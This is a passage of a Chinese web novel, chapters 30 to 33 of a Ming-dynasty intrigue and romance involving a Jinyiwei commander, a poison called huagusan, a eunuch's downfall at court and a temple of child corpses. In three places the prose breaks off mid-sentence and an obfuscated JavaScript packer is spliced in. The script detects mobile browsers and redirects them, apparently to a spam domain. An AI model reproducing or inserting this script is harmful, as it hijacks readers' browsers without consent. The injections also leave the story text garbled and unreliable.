“东厂的刑具上都淬了毒。”聂未晨趴在榻上,声音虚弱低哑,“曹玉和程墨亭……许有勾结。” 梁若鸢命锦衣卫取了烈酒给他擦拭伤口:“你怎么知道?万一是曹玉别的地方弄来的呢?” 他猛地爬起来,身上血酒混合在一起,顺着脊背流到软塌绣虎的锦垫上:“你就那么信他?” 张五默默转身,捂了黑狗的耳朵:“打起来了打起来了。” 他从窗外扔进去一个药包:“二位,陈小姐给的,说是能暂缓毒性。” 他偷偷瞄了眼榻上两人,躲到墙后,补充道,“陈小姐还说,蓝佥事已去查武库了,让聂大人……安心养伤。” 聂未晨轻笑:“她倒是会操心。” 梁若鸢拾起药包打开,指尖捏碎了药草,狠狠按在他黑色的伤口上。 聂未晨“嘶”了一声,痛觉从背后爬了一身,他一把扣住她的手:“谋杀亲夫?” “是兄长。”她冷笑一声,放轻了动作,“朱厚照到底知道多少?” 聂未晨任由她推搡,转过身去,低笑一声:“怎么,怕了?” 梁若鸢在背后剜了他一眼:“我怕你演得太投入,真把我当妹妹了。” 他忽然反手一捞,环住她的腰往怀里拖,低头轻声道:“那你演妹妹演得这么乖,是不是该叫声‘哥哥’听听?” 梁若鸢用力推他,聂未晨侧身避开,两人翻下了软塌,在厅室里过了几招,他眸中一狠,将她反剪双手抵在案几边上,呼吸拂过她耳后:“别闹,府里有眼线。” 她挣了一下,没挣开,气愤道:“松手。” 聂未晨低笑一声,没松,凑得更近了些:“叫声哥哥就放了你。” 梁若鸢狠狠踩在他靴尖上,趁他吃痛,瞬间挣脱,抬手便是巴掌:“聂大人,戏别太过了。” 聂未晨脚尖在地上拧了拧,血迹在地上糊成一团,他眼底笑意未减:“好好好,妹妹脾气大,哥哥让着你。” 门外传来脚步声,陈白瓷端着茶盏推门而入,见两人气氛微妙,眨了眨眼,笑道:“夫君,小姑,夜深了,喝点安神茶吧。” 聂未晨接过茶盏,语气温和,恰到好处,似是真的恩爱夫妻。 “辛苦夫人了。” 陈白瓷掩唇一笑,目光在两人之间转了转,意有所指:“一家人,客气什么。” 她含笑退下,梁若鸢盯着那杯茶,从未见过,嫌弃有加:“她可信?” 聂未晨又抿了一口茶,唇色依旧苍白,淡淡道:“她已是蓝羽的人。” 梁若鸢挑眉:“蓝佥事倒是忠心,让自己的心上人陪你演戏?” 聂未晨似笑非笑:“怎么,吃醋?” 梁若鸢嗤笑一声,懒得理他,转身走向内室,聂未晨伸手将她拉回,低声道:“今晚别乱跑,曹玉的人还盯着。” 她回头,眸光又利三分:“怎么?怕我坏你的事?” 他盯着她的眼睛,半晌,忽然笑道:“我是怕你出事。” “出事了你便找旁人赴你的铜钱之约好了,旧的不去新的不来。”她摆了摆手,嗤笑道,“锦衣卫认贼作妹,不怕诏狱的祖宗跳脚?” 31. 这酸味儿 她甩开他的手,径直走到内室雕花柜前,指尖重重划过柜上铜镜,镜面映出她冷笑的眉眼:“陈小姐的安神茶,想必比我偷来的酒更合指挥使胃口?” 聂未晨从身后环住她,染血的飞鱼服前襟散开,心跳贴着她后背,俯身咬住她耳尖,埋头闷笑:“这酸味儿……莫不是偷了扬州醋坊的老坛?” “松口!”她曲肘后击,他用膝盖抵住了镜柜,铜镜咣当震响,惊飞了檐下宿鸟。 他唇角沾着未擦净的血渍,吻过她腕上蛊纹,在两道齿痕上又咬下一口:“叫声哥哥,我就告诉你……陈白瓷端来的茶刚刚都浇了窗台那盆兰花。” 梁若鸢反手掐了他脖子,动作在触到他颈侧脉搏时僵住……他心跳快得异常,掌心烫人……化骨散的毒已渗入心脉…… “你……”她猛地转身,聂未晨顺势将她压上镜柜,绣春刀鞘卡进她膝弯里。 他眼底泛着不正常的猩红,声音温柔却透着危险:“我若对陈白瓷有意……”他指尖卷了她腰间系带,一点点拉扯,“何必千里迢迢跑去找你,怕你误会……” 房顶一声瓦断,聂未晨眼神骤冷,抱着她旋身隐入帷帐。 他手臂紧得似一圈铁箍,将她肋骨勒得生疼,“别动。”他唇瓣擦过她眉心,右手按着她贴在胸前,“曹玉的探子就在……” 话音戛然而止,梁若鸢齿尖咬开了他披挂的衣襟,血味混着酒气飘散开,她吻在他陈年的箭伤上狠狠一吮。 聂未晨喉结一动,扣着她腰肢的手骤然收紧,檐上黑影知晓暴露,惊忙窜逃,他甩出刀鞘,将人击落在院中,听见张五带人围了上去。 他低头擒住她逞凶的唇:“妹妹这醋……吃得要人命啊。” 梁若鸢指尖挑开他腰间蹀躞,两半铜钱轻轻划过他颈侧:“哥哥若再演什么兄妹情深……”她指甲抵住他心口跳动处,“我便让这化骨散……真的入了你的骨。” 檐下铁马轻响,聂未晨愣了一下,轻笑出声,他握住她的手按向自己胸口,在铜钱断刃将要刺入的刹那,带着她翻进床榻深处,咬着她的耳尖低语:“那不如……让为兄也中一回梁小姐的毒?” 窗棂传来两声轻响,程墨亭斜倚在雕花木窗外,指节抵着窗框,青竹伞尖垂落一滴夜露。 他本欲抬手推窗,听见屋内动静,指尖微微一顿。 喘息低促,衣料摩挲,床榻轻响……梁若鸢的声音带着恼意,却又似有什么堵住,只溢出半声轻哼:“聂未晨……你……唔!” 聂未晨低笑,嗓音沙哑带喘:“梁小姐不是要给我下毒?怎么……手抖了?” “……” 程墨亭垂眸,唇角扯出一丝冷笑,指腹摩挲着袖中药瓶,眼底暗色翻涌。 他本不该来,可化骨散的解药,只有他能配。 他把窗扇推开一线,夜风卷着药香侵入内室,床帐飘开,帐内满是凌乱的血迹。 聂未晨猛地抬头,身上伤口淌着血,抽刀挑开了帐子,寒光映出他猩红未褪的眼:“谁?!” 程墨亭斜倚窗边,青竹伞弹开三寸钢刃,似笑非笑:“打扰了?” 梁若鸢从聂未晨怀里挣出半身,发丝凌乱,唇色艳得惊人,一见程墨亭,眼神骤冷:“你来干什么?” 程墨亭视线扫过她微敞的前襟,锁骨上新鲜咬痕犹带血丝,再落到聂未晨紧扣她腰肢的手上,眸色一暗。 他轻笑一声,抬手将药瓶抛在榻上:“化骨散的解药。”顿了顿,又补一句,“再晚半刻,聂指挥使这心脉……”他指了指自己的心口,“怕是保不住了。” 聂未晨攥着梁若鸢的手,在她脉搏上重重一按,似警告又似安抚,抬眼看向程墨亭:“程老板深夜造访,就为送药?” 程墨亭伞尖轻点窗台,笑意不达眼底:“也顺便提醒二位……” “曹玉已派人盯死了聂府,若不想明日满京传遍‘锦衣卫指挥使与义妹苟且’的流言……”他目光掠过梁若鸢泛红的耳尖,嗓音陡然转冷,“就收敛些。” 梁若鸢夺下聂未晨的刀直直砸了过去,程墨亭偏头避开,钢刀扎在了墙上,墙粉簌簌散落。 他低笑一声,青竹伞旋出冷光,人已退至院中,夜风卷起他蓝袍下摆,如鬼魅般飘远,只余一句话飘在风里:“梁若鸢,你欠我的……可不止一条命。” 聂未晨猛地攥紧床帐,心口忽然绞痛,咳出一口黑血。 梁若鸢扶住他,指尖沾了血,声音发颤:“药……把药喝了……” 聂未晨低笑,染血的唇贴上她掌心:“别怕……”他喘息着将她压回锦被中,“程墨亭既来了……就不会让我死。” 檐外,程墨亭立于暗处,冷眼看着窗内交叠的人影,手中攥紧了另一瓶解药,瓷瓶在他手中碎裂,药粉混着鲜血顺着他的指尖滴落。 翌日,天光微亮。 聂未晨饮尽枕边解药,指尖抹去唇角药渍,看了一眼仍在沉睡的姑娘。 梁若鸢眉心微蹙,腕上蛊纹泛着暗红,呼吸轻缓,昏睡着未醒。 他替她掖好被角,指腹在她锁骨咬痕上轻轻一蹭,低笑道:“等我回来。” 房门轻掩,榻上人,睁了眼。 梁若鸢翻身坐起,指尖勾起床尾散落的衣裙,三两下束好长发,走到窗前,盯着聂未晨出门的背影,眸色渐冷。 “程墨亭说得对……”她喃喃,“再拖下去,曹玉的刀该架到脖子上了。” 她避开了府中亲兵巡查,摸进库房里,在密室房中摸到一处暗格,她三两下撬开,取出的竟是一锭官银,底部刻印,竟是“鄱阳湖漕运司”字样。 赵世安生前最后一批赃银,本该随着他服诛而尘埃落定,如今却又出现在聂府库房里…… “聂未晨,你定有事瞒我。”她将银子揣入袖中,抓起一串玛瑙珠子,大摇大摆地从库房里走出去。 刚转过假山,迎面撞上一道黑影,燕十抱刀倚在廊柱旁,似笑非笑,盯着她鼓胀的袖口:“梁姑娘,大清早的,偷自家东西?” 她面不改色,指尖一翻露出那串玛瑙珠:“怎么?我拿几颗珠子玩玩,也要向燕千户报备?” 燕十刀鞘一横,拦住她去路:“珠子自然随意,但你袖子里那锭官银……”他压低嗓音,“可是要掉脑袋的。” 梁若鸢眼底寒光骤现,腕间蛊纹隐隐发红,定是有事……她正要发作,忽听一阵环佩摇响…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021878|174447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “燕千户好大的威风。”陈白瓷捧着茶盘款款而来,杏色裙裾扫过青砖,“连指挥使夫人的首饰都要查?” 燕十讪讪收刀:“陈小姐,这不合规矩……” “规矩?”陈白瓷将茶盘往他怀里一塞,顺势挡在梁若鸢身前,“那劳烦千户大人说说,锦衣卫哪条规矩写着要拦主母查验自家库房的?”她指尖点了点茶盘上的龙纹,“还是说……你连陛下赏我的云雾茶……也要查?” 燕十顿时语塞,这茶确是御赐,碰不得。 趁他犹豫,梁若鸢贴近陈白瓷耳畔:“为何帮我?” 陈白瓷借着整理鬓发的动作掩唇:“蓝羽查到曹玉在城外黑松林那山寨里布了死士。”她将一枚翡翠耳坠塞进梁若鸢手心,“戴着这个,漕帮的人自会接应。” 梁若鸢捏紧耳坠,深深看她一眼,转身便走。 燕十急得要追,陈白瓷拽住他一侧衣袖:“燕大人且慢!”她突然蹙眉扶额,“我……我有些晕……” “陈小姐?!”燕十慌忙去扶,再抬头,梁若鸢已不见踪影。 陈白瓷偷望一眼梁若鸢离去的方向,唇角浮起一丝苦笑。 奉天殿,晨钟未歇,百官肃立。 聂未晨立于武官之列,飞鱼服下伤口犹渗着血,面上却不见半分异色。 他指尖轻叩腰间绣春刀,目光越过满朝朱紫,直刺御阶一侧的曹玉。 曹玉似有所觉,拂尘一甩,细眼带笑:“聂指挥使今日气色不佳啊……莫不是昨夜操劳过度?” 殿中响起几声暧昧轻笑。 聂未晨唇角微勾:“曹公公说笑了。”他抬手按上心口,指节抵着昨夜梁若鸢咬出的伤痕,“本官这伤……可比不得公公当年在司礼监挨的那三十廷杖。" 满朝哗然……曹玉早年因私吞贡品,先帝杖责,此乃东厂大忌…… 曹玉面色骤青,正要发作,一名锦衣卫力士踉跄入殿,“黑松寨山匪伏诛!但……但在匪首身上搜出这个……” 力士高举一封密函,赫然盖着兵部侍郎卢光义的私印。 朱厚照原本懒散的眼神骤然锐利:“聂卿,这是何意?” 聂未晨一膝跪地:“禀陛下,臣追查鄱阳湖赃银下落时,发现兵部有异,如今看来卢侍郎与山匪勾结,与官银失踪之事,在朝中还有数不清的牵连。”他抬眸直视曹玉,“更蹊跷的是……早前下官发现,匪寨中还有东厂的弩机。” 曹玉拂尘猛地一颤:“聂未晨!你血口喷人!” “是不是血口喷人……”聂未晨从袖中抖出一卷染血名册,“曹公公不妨解释下,为何这名单上写着……‘每月十五,漕银三成送豹房’?” 豹房二字一出,朱厚照手中茶盏“咔”地捏碎。 曹玉尖声厉喝:“聂未晨伪造证据,老奴可是大义灭亲!对陛下忠心……” “曹玉!”朱厚照拍案而起,年轻的天子眼中杀意滔天,“朕的豹房……你也敢伸手?” 聂未晨与章仲启对视一眼,趁机再添了把火:“陛下明鉴,锦衣卫查到……昨夜卢光义死前曾密会一人。”他缓缓看向曹玉,“那人腰间……挂着东厂督主的鎏金令牌。” 32. 血口喷人 曹玉拂尘一甩,尖声大笑:“聂指挥使好一招移花接木。”他抬手指向殿外,“咱家昨夜分明在武库督办军械!蓝羽大人可以作证!” 蓝羽唇角一勾,带着锦衣卫押上来三个瓦剌使臣,飞鱼服上还带着焦黑痕迹,抱拳跪地:“启禀陛下,曹公公昨夜确实在武库督办军械,但后来武库无端起火,锦衣卫擒获这三人时,他们正用火折子点燃霹雳炮的引线。” 瓦剌使臣挣扎着扯开衣襟,露出胸前东厂特制的黥刑烙印:“曹督主答应过,只要烧了武库,栽赃给锦衣卫,就给我们通关文牒的呀!” “血口喷人!”曹玉袖中寒光一闪,三枚穿骨钉射向瓦剌使臣眉心。 锦衣卫抽刀将暗器击落,金属碰撞声震得文官们纷纷捂了耳朵。 朱厚照盯着曹玉发抖的指尖:“曹伴伴这是要……杀人灭口?” “奴才冤枉啊!”曹玉“砰”地跪下,“聂未晨定是早与瓦剌勾结……所以才抗旨逃婚!那什么妹妹……” “曹公公记性不好。”蓝羽一面掀开使臣皮帽,一面说道,“聂大人的妹妹是陛下亲自寻回的,定不会有假……对了,瓦剌人蓄发结辫,这三个人……”他指尖划过使臣光溜溜的头皮,“分明是东厂番子假扮的。” 章仲启对门外使了个眼色,府兵呈上烧剩半截的霹雳炮,他从官员中出列跪下:“陛下,臣已连夜查看,这些炮身上刻着兵仗局的编号……据臣查证,这批火器本该在去岁就销毁,卢光义却私自截留,昨夜更不知为何早早出现在武库附近,以至于引火烧身……” 他看了一眼曹玉,意味深长道,“但臣平日里所见,卢大人与曹公公……关系似乎还不错?” 曹玉扑向御阶:“陛下!奴才……” “够了!”朱厚照一脚踹翻龙案,青玉镇尺砸在曹玉额角上,溅出血花来,“传旨!查封曹玉私产,押送诏狱!”他转头盯着聂未晨,“聂卿既然早知此事,为何拖到今日才报?” 一个清瘦挺拔的身影踏入奉天殿,“因为聂指挥使险些丧命于自己人刀下,又遭东厂抓捕,旧伤添新伤,至今未愈。” 王守仁一身素袍,风尘仆仆,身后两名亲兵押着一个五花大绑的杜禹锡。 此人本该是聂未晨的左膀右臂,此刻却满脸血污,眼神阴鸷,王守仁的亲兵将他猛地按跪在地。 朱厚照目光扫过,问道:“王大人,此人所犯何事?” 王守仁拱手一拜,缓缓开口道:“启禀陛下,臣奉旨南下平叛,查办宁王及其余党时,途中接到密报,说曹玉拦截了臣的军令,拦截河道,并带了锦衣卫要截杀聂指挥使。”他抬起头来,目光如炬,“臣起初不信,可杜同知夜闯军营,送葬镖至今还在那张桌子上。” 杜禹锡猛地抬头,厉声嘶吼:“王守仁!我乃私仇,与旁人无关!” 王守仁不慌不忙,从袖中取出一封染血的密信,双手呈上:“这是从杜禹锡府中密匣搜出的曹玉手令,命他‘务必取王守仁性命,嫁祸瓦剌’。” 朱厚照接过信,扫了一眼,脸色骤变。 曹玉尖声叫道:“陛下!这都是栽赃!老奴亲自送上了陈白瓷,为陛下扫清宁王一党,又怎会……” “曹公公确实不会。”聂未晨扯开自己的衣袍,露出背后三道鞭伤,青黑色的血还未干透,“诏狱的鞭子也不知为何淬了化骨散,若非友人及时送药,臣早已毒发身亡。” 他赤膊转身,直视曹玉,“而这毒……是白莲教二十年前所研制,曾一度消失。” 锦衣卫再次呈上一个密匣,羊皮卷展开后便是一张张宁王府与白莲教的来往信函,那“宁王痴傻,正好替主上背这谋逆的锅”一句笔迹尤其刺目。 朱厚照缓缓站起身,眼中杀意翻涌:“好啊……朕的锦衣卫,竟成了东厂的刀?朕的宁王叔,也做了别人的刀?” 曹玉手中寒光乍现,星芒刺向朱厚照胸膛,聂未晨绣春刀横斩而出,刀锋与匕首相撞。 曹玉狞笑,另一手甩出三枚毒镖,一道墨影闪过,蓝羽飞身挡在聂未晨身前,毒镖穿入他的肩胛。 “蓝羽!”聂未晨一把扶住他。 蓝羽咬牙拔出毒镖,用力扔在地上:“曹玉,你完了。” 曹玉转身就要逃,殿外禁军已近前合围,朱厚照冷声道:“拖下去,凌迟。” 曹玉不甘嘶吼:“聂未晨!你以为你赢了吗?!我家主子不会放过你!你不过是只阴沟里爬出来的老鼠!老鼠!” 聂未晨咳出一口黑血,身形有些摇晃,王守仁扶住他,低声道:“聂大人可要撑住。” 朱厚照看向聂未晨,语气难得温和:“聂卿,此事既已水落石出,你且安心养伤……至于别的……朕准你继续查。” 聂未晨一膝跪叩,眸中浮过一瞬阴沉,哑声道:“臣……领旨。” 黑松林山寨已毁,梁若鸢指尖摆弄着那枚翡翠耳坠,冷眼看着锦衣卫清理伤员和尸体,几个孩子号啕大哭,老人和几个女子拉着他们缩在角落里。 “动作倒是快……”她绕到屋子后面,躲过了锦衣卫的视线,解下自己的钱袋扔到大哭的孩子脚边,几个孩子一愣,收了声。 大人一把拾起,打开之后两眼放光,孩子们又再哭起来,梁若鸢忽然开口,低声道:“赶紧离开京城,带着钱寻个营生落脚。”她说着又把几张银票塞给了一旁的老人,“莫在做害人的勾当,知道吗?” 几个女人将银票收起,连连点头,看着梁若鸢身影消失在屋子另一端。 她翻出寨子围墙,落在松林里,拾起一颗松果掰开,一道清冷的声音在她身后响起:“梁姑娘起得早啊……” 她不回头,已认得,淡淡道:“程老板倒是消息灵通,我在哪儿你都知道。” 程墨亭一袭蓝衫,腰间别着扇子,青竹伞斜倚肩头,伞尖垂落的夜露还未干透。 他从枝头落下,缓步走到她身侧,目光落在不远处的山寨里,眺望的眼中暗淡难掩:“化骨散虽解,但他心脉已损,怕是要歇上好些日子。” 梁若鸢指尖一顿,耳坠的尖角刺入皮肉,渗出细微的血珠,她轻笑一声,目光扫过他腰间玄铁令牌:“程老板这是关心同僚?” 程墨亭侧目看她,忽然攥住她的手,力道大得惊人:“梁若鸢,你当真以为……聂未晨是什么良善之辈?” 梁若鸢腕上蛊纹传来一阵阵刺痛,她用力挣了挣:“比起程老板的手段,聂指挥使确实算得上良善。” 程墨亭冷笑,俯身逼近她,低声道:“那你可知……三年前扬州漕运案,真正的主谋是谁?” 梁若鸢目光一停,动作僵住。 程墨亭松开她,后退一步,青竹伞旋开半弧冷光:“梁姑娘若想知道真相,今夜子时,漕帮旧码头见。” 他低笑一声,转身离开,背影融入松林晨雾中,留下一句:“姑娘现在可去道观看看。” 玄妙观青砖墙垣边走着几只夜鸡,观中丹房红光诡谲,飞檐上,嘲讽脊兽如同沐血。 梁若鸢翻进墙里,贴着游廊潜行,远远望见丹房外十余黑袍道人垂首静立。 一个个脚蹬东厂番子的鹿皮靴,腰间隐约露出绣春刀的鎏金吞口。 “陛下昨日又服了三丸。”为首者尖声细语,分明是太监假扮,“主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16026559|174447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子交代,再加了一味‘紫河车’。” 梁若鸢胃里翻涌,那可是孕妇的胞衣……这些人真是恶心透了! 背后有气息变幻,没有声音,但有人靠近,她袖中落出刀来,起手横扫,刀尖从聂未晨颈前堪堪掠过。 “梁小姐是变着法子谋杀亲夫啊……” 她一愣,刚要回嘴,聂未晨手指按住了她的唇:“嘘……”他指向丹房檐角,九只青铜风铃悬做北斗状,铃舌竟是缩小的人骨…… 他俯身凑在她耳边,低声道:“看三清像……” 透过敞开的窗子,殿内三清金身早已挪走,取而代之的是三具盘坐的干尸,集中者头戴莲花冠,心口插着刻满咒文的青铜杵。 “白莲教的……”梁若鸢说到一半自己捂了嘴,发现聂未晨颈侧蛊纹又爬到了耳后,“你是来找我的?” “燕十说你偷了家,我能怎么办?” 丹房暗门忽然打开,小太监们匆匆忙忙,抬出来一个鎏金箱子。 箱盖翻开,里面满是奏折,最上面几张随风飘开,宁王印红得刺眼。 “丹药惑君……密折通敌……” 聂未晨低声说着,三清像眼珠忽然转动,梁若鸢将他扑倒,十几枚穿骨钉射在他身后青石墙上。 干尸头上,莲花冠轰然炸开,里面竟是精铁打造的机关,丹炉应声爆开,扬起数百张人皮符咒,张张用血写着朱厚照的生辰八字。 小太监将火折扔进了木箱,撒腿四散,地面毒烟升起,聂未晨拽着梁若鸢跃上房顶,攀到一旁的古木树枝上。 整座道观地砖下陷,露出地下汩汩血池,池中沉浮的,竟是眉心点了朱砂的童男童女。 道观西墙炸开,燕十身后冲出数十锦衣卫:“锦衣卫办案,跪地不杀!” 数十缇骑分列两侧,弩箭齐发,假道士道袍掀起,内里是东厂褐红的里衣,箭矢鸣响,穿过血肉,为首的太监捏碎了手中玉符。 “小心机关!”梁若鸢厉声大喊。 未塌的青砖陡然翻转,数十铁爪从地下弹出,燕十旋身斩断三只,却被第四只勾了脚踝,拖向血池。 聂未晨掷出刚到,一击砸碎了铁爪机括,几个锦衣卫迅速将燕十拉起:“大人!地宫有密道通向宫城!” 血池莫名沸腾,童尸双眼空洞,瞳孔涣散,一一浮出水面,眉心朱砂化开一条血线,头脚相就,连成一片星图。 “七星借命……”梁若鸢喃喃自语,浑身一寒。 “放火箭!”聂未晨扯下披风,盖在梁若鸢头上,遮了她的视线,浸了火油的箭雨落在童尸身上。 血池星图燃起大火,程墨亭出现在不远处一棵古柏上,声音闲适悠然:“聂大人,你可知这些童尸选的都是七月初七的生辰?” 青竹伞下,他扇尖挑着一本泛黄的《丹术秘要》,翻开的一页画着与血池完全一致的星图。 “因为……”他笑了笑,卷册随风翻开下一页,“陛下也是这个生辰……” 话刚落,燕十将刀掷回,聂未晨接刀掠至他面前,刀刃抵在他颈侧:“御前司策划的?” “我?”程墨亭任由绣春刀在自己颈上压出了血,“我不过是来把曹玉没烧干净的账簿送给梁姑娘,毕竟梁姑娘最开始也不过是要还梁大人清白而已……”说着,他将书册抛向梁若鸢。 梁若鸢飞身去接,书页在空中散开,纷纷扬扬似当年的大雪,其中一页飘到聂未晨眼前,上面赫然是曹玉的批注:“依宁王命,取童男童女各四十九,炼九九归元丹供上。” 最下方的朱批尤为刺眼,那笔迹他在御书房见过……是朱厚照亲笔…… 33. [锁] [此章节已锁] 聂未晨的手几乎要将刀柄捏碎,程墨亭的笑声随风飘来:“聂大人,这江山……多有意思啊。” 梁若鸢接住散落的书页,目光扫过那些记录:“三年前扬州漕运案,银子到底去了哪里?我明明找到了……可是……” 血池中有机括转动,聂未晨一把拽过她,一个个童尸接连炸开,血雾漫天,一支淬毒的弩箭穿破血雾射向梁若鸢的眉心。 程墨亭手中青竹伞倏然展开,伞面旋作钢盾,毒箭“当”一声落地,他冷笑道:“曹玉死了,有些人……紧张了。” 燕十带着锦衣卫迅速合围,地下密道中冲出数十黑衣人,刀光如雪,将几名锦衣卫砍翻在地。 聂未晨挥刀横斩,逼退两名刺客:“燕十!带人封住密道!” 梁若鸢袖中短刀划过一名刺客颈侧,鲜血溅在她脸上,她抹了一把,视线扫过眼前乱局:“现在怎么办?” 聂未晨刀尖滴着血,目光阴沉:“先离开这里。” 程墨亭站在原地,扇尖轻敲伞柄,似笑非笑:“聂大人,你以为出了这道观,就能摆脱这局?” 聂未晨冷冷看他:“你到底想说什么?” 程墨亭从袖中取出一块令牌,玄铁打造,上刻“御前司”三字,背面却是一朵妖异的莲花。 “白莲教、东厂、宁王、甚至陛下……”他轻声说道,“聂大人,你查了这么久,可曾想过,真正的幕后之人,或许就在你身边?” 梁若鸢心头一震,聂未晨盯着那令牌,眼中寒意更甚:“程墨亭,你究竟是谁的人?” 程墨亭笑而不答,转身走向血池边缘,青竹伞收起,轻点地面,池中血水分开,露出一条向下延伸的石阶。 “梁姑娘,你不是想知道真相吗?”他回头看了一眼梁若鸢,“今夜子时,漕帮旧码头,我还等你。”他踏入地道,身影消失在黑暗中。 梁若鸢握紧手里的刀:“去不去?” 聂未晨沉默片刻,忽然咳出一口血,身形晃了晃,梁若鸢一把扶住他,触手一片冰凉。 “你……”她发现他后背鞭伤不知何时又裂开,鲜血浸透了衣袍。 聂未晨勉强站稳,低声道:“……先回去。” 燕十带人清理了剩余的刺客,匆匆赶来:“大人,密道通往皇城,要追吗?” 聂未晨摇头:“不必,先回镇抚司。” 梁若鸢扶他往外走,心中思绪翻涌,程墨亭的话像一根刺,扎在她心里。 她扶着他走出道观,指尖暗中压住他腕间脉搏,红唇轻启:“聂大人这般虚弱,不如让我帮你把把脉?” 聂未晨反手将她五指锁在掌心,低头时,嘴唇几乎擦过她眉心:“梁姑娘的医术,本官三年前就领教过了。”他拇指在她脉搏处轻抚,“当时那碗毒茶,可是让锦衣卫卧床半月。” “那这次……” 她忽然出手,他一臂将她反擒,压在树干上,两人在狭窄的山道上过招,梁若鸢往后勾了他的脚,反身提膝,逼他侧身躲闪。 聂未晨眸色骤深,猛地将她按向青石壁,带着血气的呼吸喷在她耳际:“梁小姐谋杀亲夫的兴趣倒是特别。” 梁若鸢不慌不忙,唇角扬起一丝笑意:“聂大人说错了,我喜欢活捉,” 聂未晨低笑一声,贴近她:“三年前在扬州码头,梁姑娘也是这般……想活捉我?” 梁若鸢抬手勾了他脖颈压向自己:“那你现在是不是该解释一下,为何那一夜之后,漕帮的账本会出现在你书房里?” “梁小姐这般热情,是想重温三年前那夜?”他指尖在她脉搏出打了个圈,摇头皱眉,似是不满,“可惜这次……本官没有账本让你偷了。” 梁若鸢鼻尖擦过他脸颊:“那大人想让我偷什么?”她凑到他耳边,目光扫过观外密林,“……心?” 燕十牵着马过来,猛地一转身,一只手捂了眼睛,高声道:“大人!差不多了,可以回去了!” 聂未晨将梁若鸢抱起,毫不在意她抵在自己心口的刀子:“别乱动。”他咬到她耳边低语,“你爹的青白还没要回来呢。” 梁若鸢眉一挑,收起小刀:“大人是不是中毒了?心跳这样快?” 聂未晨将他抱上马背,从身后环住她:“你说呢?夜里的毒还未解,回府继续?” 聂府厢房烛火摇曳,陈白瓷一身主母衣饰等在院子里,见人回来,提着灯笼迎上前来:“夫君伤得可重?”她伸手要扶梁若鸢摘了聂未晨的刀将她隔开。 “夫人周身华贵,染不得这般血腥。” 聂未晨唇角一勾,咳嗽着往梁若鸢身上靠:“夫人见谅,本官中的毒……”他故意往她颈窝里蹭,“得劳烦梁姑娘亲自解。” 陈白瓷捏着帕子,手一紧,身后传来蓝羽带笑的声音:“夫人等了一宿,如今大人无碍,有梁小姐照看着,您也可安心歇着了。” “是,那妾身就先回去了,夫君早些休息。”陈白瓷垂眸带着一丝苦涩,双手交握,施礼告退。 蓝羽眼神询问,气氛怪异,燕十眼珠转了转,跑去开了房门。 烛火在纱罩里噼啪作响,旁人皆退,梁若鸢指尖蘸了药膏,狠狠按在聂未晨背上伤口处:“三年前漕运案的银子,最后进了谁的口袋?” 聂未晨闷哼一声,攥住她手将她一把扯到榻上,指尖卷了她腰间系带:“你信谁?” 窗边传来燕十的咳嗽声:“大人,程墨亭往码头去了。” 梁若鸢趁机坐起,聂未晨一把拽落了她的发簪,乌发散开时,他起身将她抱向自己:“子时三刻,旧码头的旧船,穿着夜行衣来偷个密函。” …… 京城漕帮旧码头芦苇丛生,梁若鸢一身夜行衣摸到了旧船船舱里一封密函,一条铁链忽然锁住她的脚踝,聂未晨从阴影里走出来,手里晃着钥匙:“梁小姐来早了。” “大人设局的本事……”她挥刀斩断了铁链,“不如床上功夫让人印象深刻。” 程墨亭一声冷笑从船尾传来:“二位倒是雅兴,调情调到这种地方。”他手中流星镖寒光闪烁,甩向聂未晨,“不如说说,当年那批火器?” 聂未晨旋身避开,绣春刀挡开暗器的一瞬,梁若鸢袖中铜钱擦过程墨亭脸颊,两人站在摇晃的甲板上,聂未晨忽然笑起来:“梁小姐方才夸我什么?” 程墨亭手中折扇轻摇:“梁姑娘,三年前那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16048925|174447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三十万两赈灾银,你真以为是不翼而飞?” 聂未晨将刀横在两人之间,刀锋映着黯淡的月光:“程老板,话别说一半。” 程墨亭从怀中掏出一封密函,甩在甲板上:“兵部去年新添的火器,用的可是漕运案里消失的银子。”他盯着聂未晨,“章仲启私自收下这笔钱,武装边军对抗瓦剌,聂大人,你敢说这不是你的手笔?” 梁若鸢面露恼色,袖中小刀指向聂未晨:“你骗我?” 聂未晨不躲不闪:“梁小姐,当年查到的账本,确实都是假的。”他指尖划过她腰间鱼佩,“真的账本在我手里,而银子……”他低笑,“确实都进了兵部。” 梁若鸢推开他,刀尖指在他喉前:“所以,你利用我?” 聂未晨不退反进,任由刀锋扎向自己:“是,也不是,你该明白……”他握住她执刀的手,“斩草要除根,根在瓦剌,牵着白莲教和东厂,甚至更多。” 